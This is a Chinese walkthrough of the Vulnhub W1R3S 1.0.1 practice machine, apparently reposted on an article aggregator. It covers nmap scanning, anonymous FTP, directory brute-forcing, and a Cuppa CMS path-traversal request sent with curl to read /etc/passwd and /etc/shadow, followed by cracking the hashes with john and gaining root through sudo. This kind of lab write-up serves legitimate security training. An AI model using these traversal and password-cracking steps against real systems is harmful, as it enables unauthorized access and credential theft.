Vulnhub W1R3S: 1.0.1

news/2024/11/13 18:29:03/文章来源:https://www.cnblogs.com/kelec0ka/p/18544516

Vulnhub W1R3S: 1.0.1

0x01:端口扫描

主机发现,靶机ip:192.168.231.133

nmap -sn 192.168.231.0/24

-sn 仅主机扫描

/24 扫描c段

image-20241106192844984

详细全端口扫描

nmap -sT -sC -sV -O -p21,22,80,3306 192.168.231.133 -oA /root/scan/1/

-sT: 以TCP进行扫描;

-sC:使用 nmap 的默认脚本集合进行扫描

-sV:启用版本探测;

-O:启用操作系统探测

-p:指定端口

-oA:将扫描结果以三种格式(普通、XML、grepable)输出,并保存在 /root/scan/1/ 文件夹中。

image-20241106192815726

发现有4个服务,21ftp,22ssh,80http,3306mysql,而且ftp可以匿名登录

对web端口进行漏洞扫描

nmap --script=vuln -p80 192.168.231.133

--script=vuln 进行漏洞扫描

image-20241106193009426

有wordpress的login界面

0x02:ftp渗透

使用anonymous进行匿名登录

image-20241106193648409

提示我们使用binary模式去传输文件

image-20241106194247732

我们在content目录下找到有三个txt文件,我们全部get下来

我们再把其他目录的文件也get下来,我们依次看

image-20241106204835779

image-20241106204857437

image-20241107080451552

image-20241107080543889

image-20241107080659048

从以上图片中我们可以得知以下信息:

​ 1.得到两串字符串

​ 2.The W1R3S.inc

​ 3.一个hint

​ 4.员工名单

我们先分析02.txt中的字符串,使用hash-identifier识别出第一串为md5,第二串为base64

image-20241107083142244

image-20241107082858694

0x03:web渗透

首先扫目录

dirsearch -u http://192.168.231.133/

image-20241107083829728

扫到了之前的wordpress登录页,然后administrator有后台,我们继续扫admin子目录

dirsearch -u http://192.168.231.133/administrator

image-20241107085127910

我们再扫wordpress子目录

dirsearch -u http://192.168.231.133/wordpress

image-20241107085441824

我们现在就已经扫描到了以下几个有价值目录

/administrator/installation
/administrator/templates
/wordpress/wp-content/upgrade
/wordpress/wp-content/uploads
/wordpress/wp-login.php

我们进去一个一个看

image-20241107112114845

使用了cuppa CMS,查看漏洞

searchsploit cuppa
searchsploit -m php/webapps/25971.txt

image-20241107112545867

image-20241107112800448

image-20241107113127621

但是没回显,这怎么办呢,我们试试post传参或者curl呢

image-20241107114742586

curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://192.168.231.133/administrator/alerts/alertConfigField.php

-s:让 curl 在执行过程中不输出任何进度信息或错误信息,只返回请求的结果。

--data-urlencode:表示将请求数据进行 URL 编码并以 POST 请求的形式发送。--data-urlencode 是对数据进行 URL 编码的选项,可以防止一些特殊字符(如 &? 等)干扰请求格式。

image-20241107193016442

看来两者都可以,我们看到w1r3s这个用户是可以登录的,那我们继续拿shadow

image-20241107193516256

然后我们unshadow它

unshadow passwd.txt shadow.txt > password.txt

最后john破解

john password.txt

image-20241107193639617

成功拿到密码!

0x04:权限提升

我们ssh登录到w1r3s用户下

查看权限

image-20241107194208674

无root权限,我们先看看sudo允许执行什么命令

sudo -l

image-20241107194821503

纳尼!提权后我们到root目录下查看

image-20241107194946331

0x05:思考补充

看了fyf大佬的wp后,做几个补充

1.john历史问题,使用--show即可

2.我们之前在ftp上get了员工名单,可以hydra爆破密码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/833069.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

永宏BI 自定义绘图(环状图)

结果样式:绑定数据:自定义JS代码:点击查看代码 option = {tooltip: {trigger: item,formatter: {a} <br/>{b}: {c} ({d}%)},series: [{type: pie,radius: [50%, 70%],avoidLabelOverlap: false,label: {show: false,position: center},emphasis: {label: {show: false…

Privilege Escalation(权限提升)

Privilege Escalation(权限提升) What the Shell? What is a shell shell 是我们与命令行环境 (CLI) 交互时使用的工具。换句话说, Linux中常见的 bash 或 sh 程序都是 shell 的例子,Windows 上的 cmd.exe 和 Powershell 也是如此。 简而言之,我们可以强制远程服务器向我们…

30 秒!用通义灵码画 SpaceX 星链发射流程图

30 秒!用通义灵码画 SpaceX 星链发射流程图不想读前人“骨灰级”代码, 不想当“牛马”程序员, 想像看图片一样快速读复杂代码和架构? 来了,灵码又加新 buff!!通义灵码支持代码逻辑可视化, 可以把你的每段代码画成流程图。 你可以把它当成一个超级脑图工具, 帮你快速画…

大模型--Megatron TP张量并行-15

目录1. 参考2. 介绍3. 权重的切分3.1 按行切分权重3.2 按列切分权重4. MLP层5. Self-Attention层6. Embedding层7. Cross-entropy层8. 张量模型并行 + 数据并行 1. 参考 https://zhuanlan.zhihu.com/p/622212228 2. 介绍 流水线并行 数据并行(DP,DDP和ZeRO) 介绍最重要,也是…

FreeModbus RTU 从机Hal库裸机移植避坑指南

首先说明 : FreeModbus 有很多个库!!!! 不同库的实现方法是略有不同的!!! 本次 FreeModbus RTU 移植 主要依据 这个网友分享的工程他人移植的库 你可能会在csdn看到他的文章, 但是完全跟着那个文章走很混乱 而且跟库的文件不一样. 故而 我重新整理了工程, 并写了一个详细的移植…

修改 NIKKE PC 端游戏缓存位置

本文记录如何使用 mklink 命令修改 NIKKE PC 端游戏缓存位置前言 NIKKE 每次版本更新都要下载大约 5~10G 的数据,以至于成为了我 AFK 的一部分原因 [允悲] 但是看游戏安装目录的大小却只有 1G 多,我还奇怪数据存哪去了,看到越来越小的 C 盘的空间才明白,草 搜索了一下后立马…

导包不对如何解决

问题: 这里这个包是自动导入的我们并不需要这个时候导致下面代码报错如何解决 2.解答:比如下面这给词爆红我们需要alt+enter,IDEA 会显示一个选择框,允许您选择 okhttp3.Request。选中后,它将使用您指定的正确包。,这里就是我是重新导入了maven依赖就好了

一图看懂云消息队列 RabbitMQ 版对比开源优势

随着企业对消息队列的性能和稳定性要求越来越高,运维成本也随之增加。 云消息队列 RabbitMQ 版通过架构优化:避免了消息积压导致的内存泄漏和服务器故障等稳定性问题; 解决了分布式系统中的脑裂难题; 并支持弹性伸缩和按量计费,有效降低资源和运维成本!那么,与开源 Rabb…

GIS工具哪家强?五款优质GIS工具箱对比分析

本文将为大家介绍五款功能各异的GIS工具箱,包括GISBox、QGIS、MapTiler、Saga GIS和Whitebox GAT。每款工具箱都有其独特的功能和应用场景,能够满足不同类型的GIS任务需求。无论是数据处理、空间分析、影像处理还是可视化需求,这些工具都能为用户提供丰富的解决方案。本文将…

安装Kibana__基于Windows系统

在此之前,请先安装Elasticsearch并启动一、下载安装包并解压安装https://www.elastic.co/downloads/kibanaterminal进入Kibana安装目录,通过.\bin\kibana.bat指令启动 二、配置后登录Kibana页面 启动成功,访问http://localhost:5601/,页面会要求你填入EnrollmentToken(此…

【Maya 2025软件下载与安装教程 含补丁】

1、安装包 「maya2025」: 链接:https://pan.quark.cn/s/de0d9d452470 提取码:Rhjp 「maya2024」: 链接:https://pan.quark.cn/s/887e52b68f51 提取码:jvyp 「maya2023」: 链接:https://pan.quark.cn/s/71f46b3d26e5 提取码:b6mA 「maya2020」: 链接:https://pan.qua…

Prometheus + Grafana 监控平台搭建

1、下载 prometheus和node_exporter:https://prometheus.io/download/ 下载完后上传到服务器解压 tar -zxvf prometheus-3.0.0-rc.1.linux-amd64.tar.gztar -zxvf node_exporter-1.8.2.linux-amd64.tar.gz2、启动 node_exporter nohup ./node_exporter --web.listen-address…